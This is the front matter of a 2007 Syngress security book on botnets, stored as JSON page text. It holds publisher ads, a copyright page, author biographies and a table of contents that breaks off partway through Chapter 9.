{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "" }, { "page_number": 3, "text": "w w w . s y n g r e s s . c o m\nSyngress is committed to publishing high-quality books for IT Professionals and\ndelivering those books in media and formats that fit the demands of our cus-\ntomers. We are also committed to extending the utility of the book you pur-\nchase via additional materials available from our Web site. \nSOLUTIONS WEB SITE\nTo register your book, visit www.syngress.com/solutions. Once registered, you\ncan access our solutions@syngress.com Web pages. There you may find an assort-\nment of value-added features such as free e-books related to the topic of this\nbook, URLs of related Web sites, FAQs from the book, corrections, and any\nupdates from the author(s).\nULTIMATE CDs\nOur Ultimate CD product line offers our readers budget-conscious compilations\nof some of our best-selling backlist titles in Adobe PDF form. These CDs are the\nperfect way to extend your reference library on key topics pertaining to your\narea of expertise, including Cisco Engineering, Microsoft Windows System\nAdministration, CyberCrime Investigation, Open Source Security, and Firewall\nConfiguration, to name a few.\nDOWNLOADABLE E-BOOKS\nFor readers who can’t wait for hard copy, we offer most of our titles in down-\nloadable Adobe PDF form. These e-books are often available weeks before hard\ncopies, and are priced affordably.\nSYNGRESS OUTLET\nOur outlet store at syngress.com features overstocked, out-of-print, or slightly\nhurt books at significant savings.\nSITE LICENSING\nSyngress has a well-established program for site licensing our e-books onto\nservers in corporations, educational institutions, and large organizations. Contact\nus at sales@syngress.com for more information.\nCUSTOM PUBLISHING\nMany organizations welcome the ability to combine parts of multiple Syngress\nbooks, as well as their own content, into a single volume for their own internal\nuse. Contact us at sales@syngress.com for more information.\nVisit us at\n" }, { "page_number": 4, "text": "" }, { "page_number": 5, "text": "Craig A. Schiller\nJim Binkley\nDavid Harley\nGadi Evron\nTony Bradley\nCarsten Willems\nMichael Cross\nBotnets\nTHE KILLER WEB APP\n" }, { "page_number": 6, "text": "Elsevier, Inc., the author(s), and any person or firm involved in the writing, editing, or production\n(collectively “Makers”) of this book (“the Work”) do not guarantee or warrant the results to be\nobtained from the Work.\nThere is no guarantee of any kind, expressed or implied, regarding the Work or its contents.The\nWork is sold AS IS and WITHOUT WARRANTY.You may have other legal rights, which vary\nfrom state to state.\nIn no event will Makers be liable to you for damages, including any loss of profits, lost savings, or\nother incidental or consequential damages arising out from the Work or its contents. Because some\nstates do not allow the exclusion or limitation of liability for consequential or incidental damages,\nthe above limitation may not apply to you.\nYou should always use reasonable care, including backup and other appropriate precautions, when\nworking with computers, networks, data, and files.\nSyngress Media®, Syngress®,“Career Advancement Through Skill Enhancement®,”“Ask the\nAuthor UPDATE®,” and “Hack Proofing®,” are registered trademarks of Elsevier, Inc.“Syngress:\nThe Definition of a Serious Security Library”™,“Mission Critical™,” and “The Only Way to Stop\na Hacker is to Think Like One™” are trademarks of Elsevier, Inc. Brands and product names men-\ntioned in this book are trademarks or service marks of their respective companies.\nKEY\nSERIAL NUMBER\n001\nHJIRTCV764\n002\nPO9873D5FG\n003\n829KM8NJH2\n004\nBAL923457U\n005\nCVPLQ6WQ23\n006\nVBP965T5T5\n007\nHJJJ863WD3E\n008\n2987GVTWMK\n009\n629MP5SDJT\n010\nIMWQ295T6T\nBotnets: The Killer Web App\nCopyright © 2007 by Syngress Publishing, Inc., a division of Elsevier, Inc.All rights reserved. Except\nas permitted under the Copyright Act of 1976, no part of this publication may be reproduced or dis-\ntributed in any form or by any means, or stored in a database or retrieval system, without the prior\nwritten permission of the publisher, with the exception that the program listings may be entered,\nstored, and executed in a computer system, but they may not be reproduced for publication.\n1 2 3 4 5 6 7 8 9 0\nISBN-10: 1-59749-135-7\nISBN-13: 978-1-59749-135-8\nPublisher:Andrew Williams\nPage Layout and Art: Patricia Lupien\nAcquisitions Editor: Gary Byrne\nCopy Editors: Michelle Melani, Darlene Bordwell,\nTechnical Editors: Craig Schiller,\nand Adrienne Rebello\nJim Binkley\nIndexer: Richard Carlson\nCover Designer: Michael Kavish\nFor information on rights, translations, and bulk sales, contact Matt Pedersen, Director of Sales and\nRights, at Syngress Publishing; email matt@syngress.com or fax to 781-681-3585.\n" }, { "page_number": 7, "text": "Acknowledgments\nv\nSyngress would like to acknowledge the following people for their kindness\nand support in making this book possible.\nThis may seem like a strange place to thank bankers, attorneys, and accountants,\nbut these folks have all played a role in the success of Syngress Publishing:\nJim Barbieri, Ed Remondi,Anne Marie Sharpe, and their team at Holbrook\nCoop in Holbrook, MA.\nGene Landy,Amy Mastrobattista, and Beth Grazio at Ruberto, Israel & Weiner\nin Boston.\nTimothy D. MacLellan, at Morgan & Morgan, PC in Hingham, MA, along\nwith his associate Darci Miller Nadeau.\n" }, { "page_number": 8, "text": "vi\nLead Authors \nand Technical Editors\nCraig A. Schiller (CISSP-ISSMP, ISSAP) is the Chief Information Security Officer for\nPortland State University and President of Hawkeye Security Training, LLC. He is the\nprimary author of the first Generally Accepted System Security Principles. He was a\ncoauthor of several editions of the Handbook of Information Security Management and a\ncontributing author to Data Security Management. Craig was also a contributor to\nCombating Spyware in the Enterprise (Syngress, ISBN: 1597490644) and Winternals\nDefragmentation, Recovery, and Administration Field Guide (Syngress, ISBN: 1597490792).\nCraig was the Senior Security Engineer and Coarchitect of NASA’s Mission Operations\nAIS Security Engineering Team. Craig has cofounded two ISSA U.S. regional chapters:\nthe Central Plains Chapter and the Texas Gulf Coast Chapter. He is a member of the\nPolice Reserve Specialists unit of the Hillsboro Police Department in Oregon. He leads\nthe unit’s Police-to-Business-High-Tech speakers’ initiative and assists with Internet\nforensics.\nJim Binkley is a senior network engineer and network security researcher at Portland\nState University (PSU). Jim has over 20 years of TCP/IP experience and 25 years of\nUNIX operating system experience. Jim teaches graduate-level classes in network secu-\nrity, network management, and UNIX operating systems at PSU. He provides the uni-\nversity with various forms of network monitoring as well as consulting in network\ndesign. In the past Jim was involved in the DARPA-funded “secure mobile networks”\ngrant at PSU along with John McHugh. His specialties include wireless networking and\nnetwork anomaly detection, including the open-source ourmon network monitoring\nand anomaly detection system. Jim holds a Master of Science in Computer Science\nfrom Washington State University.\nTony Bradley (CISSP-ISSAP) is the Guide for the Internet/Network Security site on\nAbout.com, a part of The New York Times Company. He has written for a variety of\nother Web sites and publications, including PC World, SearchSecurity.com,\nWindowsNetworking.com, Smart Computing magazine, and Information Security magazine.\nCurrently a security architect and consultant for a Fortune 100 company,Tony has driven\nsecurity policies and technologies for antivirus and incident response for Fortune 500\ncompanies, and he has been network administrator and technical support for smaller com-\nContributors\n" }, { "page_number": 9, "text": "vii\npanies. He is author of Essential Computer Security: Everyone’s Guide to E-mail, Internet, and\nWireless Security (Syngress, ISBN: 1597491144).\nTony is a CISSP (Certified Information Systems Security Professional) and ISSAP\n(Information Systems Security Architecture Professional). He is Microsoft Certified as an\nMCSE (Microsoft Certified Systems Engineer) and MCSA (Microsoft Certified Systems\nAdministrator) in Windows 2000 and an MCP (Microsoft Certified Professional) in\nWindows NT.Tony is recognized by Microsoft as an MVP (Most Valuable Professional) in\nWindows security.\nOn his About.com site,Tony has on average over 600,000 page views per month and\n25,000 subscribers to his weekly newsletter. He created a 10-part Computer Security 101\nClass that has had thousands of participants since its creation and continues to gain popu-\nlarity through word of mouth. In addition to his Web site and magazine contributions,\nTony was also coauthor of Hacker’s Challenge 3 (ISBN: 0072263040) and a contributing\nauthor to Winternals: Defragmentation, Recovery, and Administration Field Guide (ISBN:\n1597490792) and Combating Spyware in the Enterprise (ISBN: 1597490644).\nTony wrote Chapter 4.\nMichael Cross (MCSE, MCP+I, CNA, Network+) is an Internet Specialist/Computer\nForensic Analyst with the Niagara Regional Police Service (NRPS). He performs com-\nputer forensic examinations on computers involved in criminal investigation. He also has\nconsulted and assisted in cases dealing with computer-related/Internet crimes. In addition\nto designing and maintaining the NRPS Web site at www.nrps.com and the NRPS\nintranet, he has provided support in the areas of programming, hardware, and network\nadministration.As part of an information technology team that provides support to a user\nbase of more than 800 civilian and uniform users, he has a theory that when the users\ncarry guns, you tend to be more motivated in solving their problems.\nMichael also owns KnightWare (www.knightware.ca), which provides computer-\nrelated services such as Web page design, and Bookworms (www.bookworms.ca), where\nyou can purchase collectibles and other interesting items online. He has been a freelance\nwriter for several years, and he has been published more than three dozen times in\nnumerous books and anthologies. He currently resides in St. Catharines, Ontario, Canada,\nwith his lovely wife, Jennifer, his darling daughter, Sara, and charming son, Jason.\nMichael wrote Chapter 11.\nGadi Evron works for the McLean, VA-based vulnerability assessment solution vendor\nBeyond Security as Security Evangelist and is the chief editor of the security portal\nSecuriTeam. He is a known leader in the world of Internet security operations, especially\nregarding botnets and phishing. He is also the operations manager for the Zeroday\nEmergency Response Team (ZERT) and a renowned expert on corporate security and\nespionage threats. Previously, Gadi was Internet Security Operations Manager for the Israeli\ngovernment and the manager and founder of the Israeli government’s Computer\nEmergency Response Team (CERT).\nGadi wrote Chapter 3.\n" }, { "page_number": 10, "text": "viii\nDavid Harley (BA, CISSP) has written or contributed to over a dozen security books,\nincluding Viruses Revealed and the forthcoming AVIEN Malware Defense Guide for the\nEnterprise. He is an experienced and well-respected antivirus researcher, and he also holds\nqualifications in security audit (BS7799 Lead Auditor), ITIL Service Management, and\nmedical informatics. His background includes security analysis for a major medical research\ncharity and managing the Threat Assessment Centre for the U.K.’s National Health Service,\nspecializing in the management of malware and e-mail security. His “Small Blue-Green\nWorld” provides consultancy and authoring services to the security industry, and he is a\nfrequent speaker at security conferences.\nDavid cowrote Chapter 5.\nChris Ries is a Security Research Engineer for VigilantMinds Inc., a managed security\nservices provider and professional consulting organization based in Pittsburgh. His research\nfocuses on the discovery, exploitation, and remediation of software vulnerabilities, analysis\nof malicious code, and evaluation of security software. Chris has published a number of\nadvisories and technical white papers based on his research. He has also contributed to sev-\neral books on information security.\nChris holds a bachelor’s degree in Computer Science with a Mathematics Minor from\nColby College, where he completed research involving automated malicious code detec-\ntion. Chris has also worked as an analyst at the National Cyber-Forensics & Training\nAlliance (NCFTA), where he conducted technical research to support law enforcement.\nChris tech-edited Chapters 8 and 9.\nCarsten Willems is an independent software developer with 10 years’ experience. He has\na special interest in the development of security tools related to malware research. He is the\ncreator of the CWSandbox, an automated malware analysis tool.The tool, which he devel-\noped as a part of his thesis for his master’s degree in computer security at RWTH Aachen,\nis now distributed by Sunbelt Software in Clearwater, FL. He is currently working on his\nPhD thesis, titled “Automatic Malware Classification,” at the University of Mannheim. In\nNovember 2006 he was awarded third place at the Competence Center for Applied\nSecurity Technology (CAST) for his work titled “Automatic Behaviour Analysis of\nMalware.” In addition, Carsten has created several office and e-business products. Most\nrecently, he has developed SAGE GS-SHOP, a client-server online shopping system that\nhas been installed over 10,000 times.\nCarsten wrote Chapter 10.\n" }, { "page_number": 11, "text": "ix\nContents\nChapter 1 Botnets: A Call to Action. . . . . . . . . . . . . . . . . . . . . 1\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2\nThe Killer Web App . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3\nHow Big Is the Problem? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4\nA Conceptual History of Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . .6\nGM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\nPretty Park . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\nSubSeven Trojan/Bot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8\nGT Bot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8\nSDBot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9\nAgobot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .10\nFrom Code-Based Families to Characteristic-Based Families . . . .11\nSpybot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .12\nRBot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .14\nPolybot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15\nMytob . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15\nCapabilities Coming to a Bot Near You . . . . . . . . . . . . . . . . . . .15\nCases in the News . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16\n“THr34t-Krew” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16\nAxel Gembe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .17\n180Solutions Civil Law Suit . . . . . . . . . . . . . . . . . . . . . . . . . . . .17\nOperation Cyberslam: Jay Echouafni, Jeanson James Ancheta . . . .18\nAnthony Scott Clark . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20\nFarid Essebar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .21\nChristopher Maxwell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .21\nJeffrey Parson . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .21\nThe Industry Responds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .22\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .25\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .26\nChapter 2 Botnets Overview . . . . . . . . . . . . . . . . . . . . . . . . . 29\nWhat Is a Botnet? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .30\nThe Botnet Life Cycle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .31\nExploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .31\nMalicious Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .31\nAttacks against Unpatched Vulnerabilities . . . . . . . . . . . . . . . . . .32\nBackdoors Left by Trojan Worms or Remote Access Trojans . . . .33\nPassword Guessing and Brute-Force Access Attempts . . . . . . . . . .34\nRallying and Securing the Botnet Client . . . . . . . . . . . . . . . . . . . . .37\nWaiting for Orders and Retrieving the Payload . . . . . . . . . . . . . . . .41\n" }, { "page_number": 12, "text": "x\nContents\nWhat Does a Botnet Do? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .42\nRecruit Others . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .42\nDDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .46\nInstallation of Adware and Clicks4Hire . . . . . . . . . . . . . . . . . . . . . . .49\nThe Botnet-Spam and Phishing Connection . . . . . . . . . . . . . . . . . .51\nStorage and Distribution of Stolen or Illegal Intellectual Property . . .55\nRansomware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .60\nData Mining . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .61\nReporting Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .61\nErase the Evidence,Abandon the Client . . . . . . . . . . . . . . . . . . . . . .62\nBotnet Economics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .62\nSpam and Phishing Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .62\nAdware Installation and Clicks4Hire Schemes . . . . . . . . . . . . . . . . .63\nRansomware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .69\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .70\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .70\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .73\nChapter 3 Alternative Botnet C&Cs . . . . . . . . . . . . . . . . . . . . 77\nIntroduction: Why Are There Alternative C&Cs? . . . . . . . . . . . . . . . . . . .78\nHistorical C&C Technology as a Road Map . . . . . . . . . . . . . . . . . . . . . .79\nDNS and C&C Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .81\nDomain Names . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .81\nMultihoming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .82\nAlternative Control Channels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .82\nWeb-Based C&C Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .83\nEcho-Based Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .83\nConnect & Forget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .84\nFile Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .84\nURL Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .84\nCommand-Based Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . .84\nP2P Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .86\nInstant Messaging (IM) C&Cs . . . . . . . . . . . . . . . . . . . . . . . . . . . . .86\nRemote Administration Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . .87\nDrop Zones and FTP-Based C&Cs . . . . . . . . . . . . . . . . . . . . . . . . .87\nAdvanced DNS-Based Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . .89\nDynamic DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .90\nFastflux DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .90\nFuture Outlook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .91\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .93\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .94\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .95\n" }, { "page_number": 13, "text": "Contents\nxi\nChapter 4 Common Botnets . . . . . . . . . . . . . . . . . . . . . . . . . 97\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .98\nSDBot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .98\nAliases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .99\nInfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .99\nSigns of Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .100\nSystem Folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .100\nRegistry Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .101\nAdditional Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .102\nUnexpected Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .103\nPropagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .104\nRBot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .104\nAliases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105\nInfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105\nSigns of Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105\nSystem Folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105\nRegistry Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .106\nTerminated Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .106\nUnexpected Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .107\nPropagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .108\nUsing Known Vulnerability Exploits . . . . . . . . . . . . . . . . . . . . .110\nExploiting Malware Backdoors . . . . . . . . . . . . . . . . . . . . . . . . .111\nAgobot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .111\nAliases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .112\nInfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113\nSigns of Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113\nSystem Folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113\nRegistry Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113\nTerminated Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .114\nModify Hosts File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .114\nTheft of Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .114\nUnexpected Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .115\nVulnerability Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .116\nPropagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .116\nSpybot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .118\nAliases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .118\nInfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .118\nSigns of Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .119\nSystem Folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .119\nRegistry Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .119\nUnexpected Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .122\nKeystroke Logging and Data Capture . . . . . . . . . . . . . . . . . . . .122\nPropagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .122\nMytob . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .123\nAliases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .123\n" }, { "page_number": 14, "text": "xii\nContents\nInfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .124\nSigns of Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .124\nSystem Folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .124\nRegistry Entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125\nUnexpected Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125\nPropagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .128\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .129\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .131\nChapter 5 Botnet Detection: Tools and Techniques. . . . . . . 133\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .134\nAbuse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .134\nSpam and Abuse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .139\nNetwork Infrastructure:Tools and Techniques . . . . . . . . . . . . . . . . . . . .140\nSNMP and Netflow: Network-Monitoring Tools . . . . . . . . . . . . .143\nSNMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .144\nNetflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .146\nFirewalls and Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .148\nLayer 2 Switches and Isolation Techniques . . . . . . . . . . . . . . . . . . .151\nIntrusion Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .155\nVirus Detection on Hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .160\nHeuristic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .165\nSnort as an Example IDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .168\nInstallation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .169\nRoles and Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .169\nRolling Your Own . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .170\nTripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .173\nDarknets, Honeypots, and Other Snares . . . . . . . . . . . . . . . . . . . . . . . .176\nForensics Techniques and Tools for Botnet Detection . . . . . . . . . . . . . . .179\nProcess . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .181\nEvent Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .184\nFirewall Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .192\nAntivirus Software Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .198\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .208\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .208\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .213\nChapter 6 Ourmon: Overview and Installation . . . . . . . . . . 217\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .218\nCase Studies:Things That Go Bump in the Night . . . . . . . . . . . . . . . . .220\nCase Study #1: DDoS (Distributed Denial of Service) . . . . . . . . . .220\nCase Study #2: External Parallel Scan . . . . . . . . . . . . . . . . . . . . . .222\nCase Study #3: Bot Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .224\nCase Study #4: Bot Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .226\n" }, { "page_number": 15, "text": "Contents\nxiii\nHow Ourmon Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .227\nInstallation of Ourmon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .232\nOurmon Install Tips and Tricks . . . . . . . . . . . . . . . . . . . . . . . . . . .236\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .239\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .240\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .241\nChapter 7 Ourmon: Anomaly Detection Tools . . . . . . . . . . . 245\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .246\nThe Ourmon Web Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .247\nA Little Theory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .252\nTCP Anomaly Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .255\nTCP Port Report:Thirty-Second View . . . . . . . . . . . . . . . . . . . . .255\nAnalysis of Sample TCP Port Report . . . . . . . . . . . . . . . . . . . .262\nTCP Work Weight: Details . . . . . . . . . . . . . . . . . . . . . . . . . . .265\nTCP Worm Graphs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .267\nTCP Hourly Summarization . . . . . . . . . . . . . . . . . . . . . . . . . . . . .269\nUDP Anomaly Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .272\nDetecting E-mail Anomalies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .275\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .279\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .279\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .283\nChapter 8 IRC and Botnets. . . . . . . . . . . . . . . . . . . . . . . . . . 285\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .286\nUnderstanding the IRC Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . .286\nOurmon’s RRDTOOL Statistics and IRC Reports . . . . . . . . . . . . . . .290\nThe Format of the IRC Report . . . . . . . . . . . . . . . . . . . . . . . . . .292\nDetecting an IRC Client Botnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . .298\nDetecting an IRC Botnet Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . .304\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .309\nSolutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .309\nFrequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .311\nChapter 9 Advanced Ourmon Techniques . . . . . . . . . . . . . . 313\nIntroduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .314\nAutomated Packet Capture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .314\nAnomaly Detection Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . .317\nReal-World Trigger Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . .319\nOurmon Event Log . . . . . . 